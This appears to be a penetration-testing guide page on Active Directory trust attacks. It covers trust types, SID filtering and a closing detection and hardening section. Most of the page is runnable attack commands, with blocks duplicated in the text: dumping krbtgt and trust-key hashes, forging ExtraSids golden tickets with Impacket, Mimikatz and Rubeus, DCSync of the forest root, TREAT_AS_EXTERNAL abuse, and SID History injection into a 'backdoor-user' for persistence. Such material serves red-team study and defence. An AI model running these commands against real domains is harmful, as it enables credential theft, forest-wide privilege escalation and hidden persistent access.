AD Trust Attacks
Active Directory trusts allow authentication across domain and forest boundaries. By abusing trust keys, SID History, and ExtraSids, an attacker who compromises one domain can pivot to trusted domains β potentially reaching the entire forest. This guide covers intra-forest, inter-forest, and PAM trust exploitation.
Danger
π Quick Navigation
ποΈ Fundamentals
β‘ Attack Techniques
π‘οΈ Detection
π― Why Trust Attacks Are Critical
- Forest-Wide Impact: Compromising the root domain's krbtgt hash gives domain admin across the entire forest via ExtraSids golden tickets.
- Scope Expansion: Trust attacks turn a single domain compromise into multi-domain or multi-forest access.
- Common Architecture: Most enterprises with multiple environments (dev/prod, acquisitions, partners) use AD trusts.
- Weak Filtering: Many organizations don't enable SID filtering on intra-forest trusts, making childβparent escalation trivial.
Trust Types & Direction
| Trust Type | Direction | SID Filtering | Attack Viability |
|---|---|---|---|
| Parent-Child (Intra-forest) | Bidirectional, transitive | Disabled by design | ExtraSids β Forest Root DA |
| Shortcut (Intra-forest) | One-way or bidirectional | Disabled by design | Same as parent-child |
| External (Inter-forest) | One-way or bidirectional | Enabled | Limited β SID filtering blocks most attacks |
| Forest (Inter-forest) | One-way or bidirectional | Enabled | TGT delegation, shared resources, selective auth bypass |
| PAM Trust | One-way (bastion β production) | Enabled | Shadow principal abuse |
Trust Enumeration
# PowerView β enumerate all trusts
Get-DomainTrust
Get-ForestDomain | Get-DomainTrust
# Detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType,
TrustDirection, TrustAttributes
# BloodHound β visualize trust relationships
MATCH p=()-[:TrustedBy]->() RETURN p
# nltest (built-in Windows)
nltest /domain_trusts /all_trusts /v
# NetExec
nxc ldap dc01.corp.local -u user -p 'Pass123' --trusted-for-delegation
# From Linux β enumerate trusts via LDAP
ldapsearch -x -H ldap://dc01.corp.local -b "CN=System,DC=corp,DC=local" \
"(objectClass=trustedDomain)" cn trustDirection trustType trustAttributes# PowerView β enumerate all trusts
Get-DomainTrust
Get-ForestDomain | Get-DomainTrust
# Detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType,
TrustDirection, TrustAttributes
# BloodHound β visualize trust relationships
MATCH p=()-[:TrustedBy]->() RETURN p
# nltest (built-in Windows)
nltest /domain_trusts /all_trusts /v
# NetExec
nxc ldap dc01.corp.local -u user -p 'Pass123' --trusted-for-delegation
# From Linux β enumerate trusts via LDAP
ldapsearch -x -H ldap://dc01.corp.local -b "CN=System,DC=corp,DC=local" \
"(objectClass=trustedDomain)" cn trustDirection trustType trustAttributesSID Filtering
SID Filtering strips SIDs from foreign domains from the token during cross-trust authentication.
Within a forest, SID filtering is disabled by design β this is why childβparent Domain Admin
escalation always works within a forest. Cross-forest trusts have SID filtering enabled by default but can be
relaxed via TREAT_AS_EXTERNAL or TrustAttribute: 0x40.
# Check SID filtering status on a trust
Get-ADTrust -Filter * | Select-Object Name, Direction,
DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware
# Check trust attributes
netdom trust child.corp.local /domain:corp.local /quarantine# Check SID filtering status on a trust
Get-ADTrust -Filter * | Select-Object Name, Direction,
DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware
# Check trust attributes
netdom trust child.corp.local /domain:corp.local /quarantineInformation
0x01 = Non-transitive, 0x04 = SID Filtering (quarantine),
0x08 = Forest Trust, 0x40 = TREAT_AS_EXTERNAL (relaxes SID filtering β exploitable).
Child Domain β Parent Domain (ExtraSids)
With DA in a child domain, forge a Golden Ticket with the Enterprise Admins SID from the parent domain in the ExtraSids field. Since SID filtering is disabled within a forest, the parent DC honors the EA SID and grants full access to the forest root.
Method 1: ExtraSids Golden Ticket
# Prerequisites: krbtgt hash of child domain + Enterprise Admins SID of parent
# Step 1: Get child domain krbtgt hash (requires DA on child)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' -just-dc-user krbtgt
# Step 2: Get the Enterprise Admins SID from parent domain
# Enterprise Admins SID = <parent-domain-SID>-519
lookupsid.py 'child.corp.local/admin:Password1@parent-dc01.corp.local' 0
# Step 3: Forge Golden Ticket with ExtraSids
ticketer.py -nthash <krbtgt-hash> -domain-sid S-1-5-21-child \
-domain child.corp.local -extra-sid S-1-5-21-parent-519 \
Administrator
# Step 4: Use the ticket against parent DC
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc01.corp.local# Prerequisites: krbtgt hash of child domain + Enterprise Admins SID of parent
# Step 1: Get child domain krbtgt hash (requires DA on child)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' -just-dc-user krbtgt
# Step 2: Get the Enterprise Admins SID from parent domain
# Enterprise Admins SID = <parent-domain-SID>-519
lookupsid.py 'child.corp.local/admin:Password1@parent-dc01.corp.local' 0
# Step 3: Forge Golden Ticket with ExtraSids
ticketer.py -nthash <krbtgt-hash> -domain-sid S-1-5-21-child \
-domain child.corp.local -extra-sid S-1-5-21-parent-519 \
Administrator
# Step 4: Use the ticket against parent DC
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc01.corp.localMethod 2: Trust Key (Inter-Realm TGT)
# Step 1: Extract the trust key from child DC
# The trust key is the NTLM hash of the trust account (CHILD$)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' \
-just-dc-user 'CHILD$'
# Step 2: Forge inter-realm TGT with ExtraSids
ticketer.py -nthash <trust-key-hash> -domain-sid S-1-5-21-child \
-domain child.corp.local -extra-sid S-1-5-21-parent-519 \
-spn krbtgt/corp.local Administrator
# Step 3: Request service ticket and access parent DC
getST.py -k -no-pass -spn cifs/parent-dc01.corp.local corp.local/Administrator
export KRB5CCNAME=Administrator@cifs_parent-dc01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass parent-dc01.corp.local# Step 1: Extract the trust key from child DC
# The trust key is the NTLM hash of the trust account (CHILD$)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' \
-just-dc-user 'CHILD$'
# Step 2: Forge inter-realm TGT with ExtraSids
ticketer.py -nthash <trust-key-hash> -domain-sid S-1-5-21-child \
-domain child.corp.local -extra-sid S-1-5-21-parent-519 \
-spn krbtgt/corp.local Administrator
# Step 3: Request service ticket and access parent DC
getST.py -k -no-pass -spn cifs/parent-dc01.corp.local corp.local/Administrator
export KRB5CCNAME=Administrator@cifs_parent-dc01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass parent-dc01.corp.localWith Mimikatz / Rubeus (Windows)
# Mimikatz β Golden Ticket with ExtraSids
kerberos::golden /user:Administrator /domain:child.corp.local \
/sid:S-1-5-21-child /krbtgt:<krbtgt-hash> \
/sids:S-1-5-21-parent-519 /ptt
# Rubeus β create golden ticket with extra SIDs
Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator \
/domain:child.corp.local /sid:S-1-5-21-child \
/sids:S-1-5-21-parent-519 /ptt
# Verify access to parent DC
dir \\parent-dc01.corp.local\c$
# DCSync the parent
lsadump::dcsync /domain:corp.local /user:corpkrbtgt# Mimikatz β Golden Ticket with ExtraSids
kerberos::golden /user:Administrator /domain:child.corp.local \
/sid:S-1-5-21-child /krbtgt:<krbtgt-hash> \
/sids:S-1-5-21-parent-519 /ptt
# Rubeus β create golden ticket with extra SIDs
Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator \
/domain:child.corp.local /sid:S-1-5-21-child \
/sids:S-1-5-21-parent-519 /ptt
# Verify access to parent DC
dir \\parent-dc01.corp.local\c$
# DCSync the parent
lsadump::dcsync /domain:corp.local /user:corpkrbtgtSID History Injection
SID History is an attribute designed for domain migrations β it preserves the old SID so users keep access to resources in the source domain. Attackers can inject arbitrary SIDs (including Enterprise Admins) into a user's SID History for persistent cross-domain access.
# Mimikatz β inject SID History into a user account
# Requires Domain Admin on current domain
privilege::debug
sid::patch
sid::add /sam:backdoor-user /new:S-1-5-21-parent-519
# The user now has Enterprise Admins privileges when authenticating
# This persists across password changes and even across krbtgt rotations
# DSInternals β add SID History
Stop-Service ntds -Force
Add-ADDBSidHistory -SamAccountName backdoor-user \
-SidHistory S-1-5-21-parent-519 -DatabasePath 'C:\Windows\NTDS
tds.dit'
Start-Service ntds# Mimikatz β inject SID History into a user account
# Requires Domain Admin on current domain
privilege::debug
sid::patch
sid::add /sam:backdoor-user /new:S-1-5-21-parent-519
# The user now has Enterprise Admins privileges when authenticating
# This persists across password changes and even across krbtgt rotations
# DSInternals β add SID History
Stop-Service ntds -Force
Add-ADDBSidHistory -SamAccountName backdoor-user \
-SidHistory S-1-5-21-parent-519 -DatabasePath 'C:\Windows\NTDS
tds.dit'
Start-Service ntdsWarning
Cross-Forest Attacks
Cross-forest trust attacks are more limited due to SID filtering. However, several vectors remain viable:
Shared Resources & Groups
# Enumerate cross-forest group memberships
Get-DomainForeignGroupMember -Domain partner.com
Get-DomainForeignUser -Domain partner.com
# Find resources shared across the trust
Get-DomainObjectAcl -Domain partner.com -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match 'S-1-5-21-<our-domain>' }
# BloodHound β cross-forest paths
MATCH p=()-[:MemberOf|HasSession|AdminTo*1..]->(g:Group)
WHERE g.domain <> "CORP.LOCAL" RETURN p# Enumerate cross-forest group memberships
Get-DomainForeignGroupMember -Domain partner.com
Get-DomainForeignUser -Domain partner.com
# Find resources shared across the trust
Get-DomainObjectAcl -Domain partner.com -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match 'S-1-5-21-<our-domain>' }
# BloodHound β cross-forest paths
MATCH p=()-[:MemberOf|HasSession|AdminTo*1..]->(g:Group)
WHERE g.domain <> "CORP.LOCAL" RETURN pTREAT_AS_EXTERNAL Abuse
If TrustAttributes includes TREAT_AS_EXTERNAL (0x40), SID filtering is relaxed β
domain-local group SIDs from the trusting forest can pass through the trust boundary.
# Find trusts with TREAT_AS_EXTERNAL
Get-ADTrust -Filter * | Where-Object { $_.TrustAttributes -band 0x40 } |
Select-Object Name, TrustAttributes
# Forge ticket with domain-local group SIDs from target forest
ticketer.py -nthash <trust-key> -domain-sid S-1-5-21-foreign \
-domain foreign.com -extra-sid S-1-5-21-target-<RID> \
-spn krbtgt/TARGET.COM Administrator# Find trusts with TREAT_AS_EXTERNAL
Get-ADTrust -Filter * | Where-Object { $_.TrustAttributes -band 0x40 } |
Select-Object Name, TrustAttributes
# Forge ticket with domain-local group SIDs from target forest
ticketer.py -nthash <trust-key> -domain-sid S-1-5-21-foreign \
-domain foreign.com -extra-sid S-1-5-21-target-<RID> \
-spn krbtgt/TARGET.COM AdministratorTrust Key Extraction
# Extract trust keys from a DC (requires DA)
# Mimikatz
lsadump::trust /patch
# Impacket secretsdump β trust accounts end with $
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
-just-dc-user 'PARTNER$'
# Trust keys are the NTLM hash of the inter-realm trust password
# Used to encrypt inter-realm TGTs (krbtgt/PARTNER.COM)
# Rotate by: netdom trust corp.local /domain:partner.com /resetpw# Extract trust keys from a DC (requires DA)
# Mimikatz
lsadump::trust /patch
# Impacket secretsdump β trust accounts end with $
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
-just-dc-user 'PARTNER$'
# Trust keys are the NTLM hash of the inter-realm trust password
# Used to encrypt inter-realm TGTs (krbtgt/PARTNER.COM)
# Rotate by: netdom trust corp.local /domain:partner.com /resetpwDetection & Blue Team
| Event ID | Source | Indicator |
|---|---|---|
| 4765 | Security | SID History added to an account |
| 4766 | Security | SID History add attempt failed |
| 4768 | Security | TGT requested β look for inter-realm referrals with suspicious SIDs |
| 4769 | Security | Cross-domain service ticket requests β unusual source domains |
KQL Detection
// Detect SID History modifications
SecurityEvent
| where EventID in (4765, 4766)
| project TimeGenerated, SubjectUserName, TargetUserName, SidHistory
// Detect Golden Ticket with ExtraSids (anomalous TGT)
SecurityEvent
| where EventID == 4768
| where TargetDomainName != ServiceInfo // Cross-domain TGT
| project TimeGenerated, TargetUserName, TargetDomainName, IpAddress
// Detect cross-forest Kerberos activity
SecurityEvent
| where EventID == 4769
| where ServiceName contains "$" // Trust account service tickets
| where TargetDomainName != ServiceDomainName
| project TimeGenerated, TargetUserName, ServiceName, IpAddress// Detect SID History modifications
SecurityEvent
| where EventID in (4765, 4766)
| project TimeGenerated, SubjectUserName, TargetUserName, SidHistory
// Detect Golden Ticket with ExtraSids (anomalous TGT)
SecurityEvent
| where EventID == 4768
| where TargetDomainName != ServiceInfo // Cross-domain TGT
| project TimeGenerated, TargetUserName, TargetDomainName, IpAddress
// Detect cross-forest Kerberos activity
SecurityEvent
| where EventID == 4769
| where ServiceName contains "$" // Trust account service tickets
| where TargetDomainName != ServiceDomainName
| project TimeGenerated, TargetUserName, ServiceName, IpAddressHardening Recommendations
Enable SID Filtering Where Possible
While intra-forest SID filtering can't be enabled without breaking the forest, ensure external/forest trusts have quarantine enabled.
Selective Authentication
Use selective authentication on forest trusts to restrict which users from the trusted forest can access resources.
Remove TREAT_AS_EXTERNAL
Audit trust attributes and remove the TREAT_AS_EXTERNAL flag unless explicitly required.
Monitor SID History Changes
Alert on Event IDs 4765/4766 and regularly audit SID History attributes across all user objects.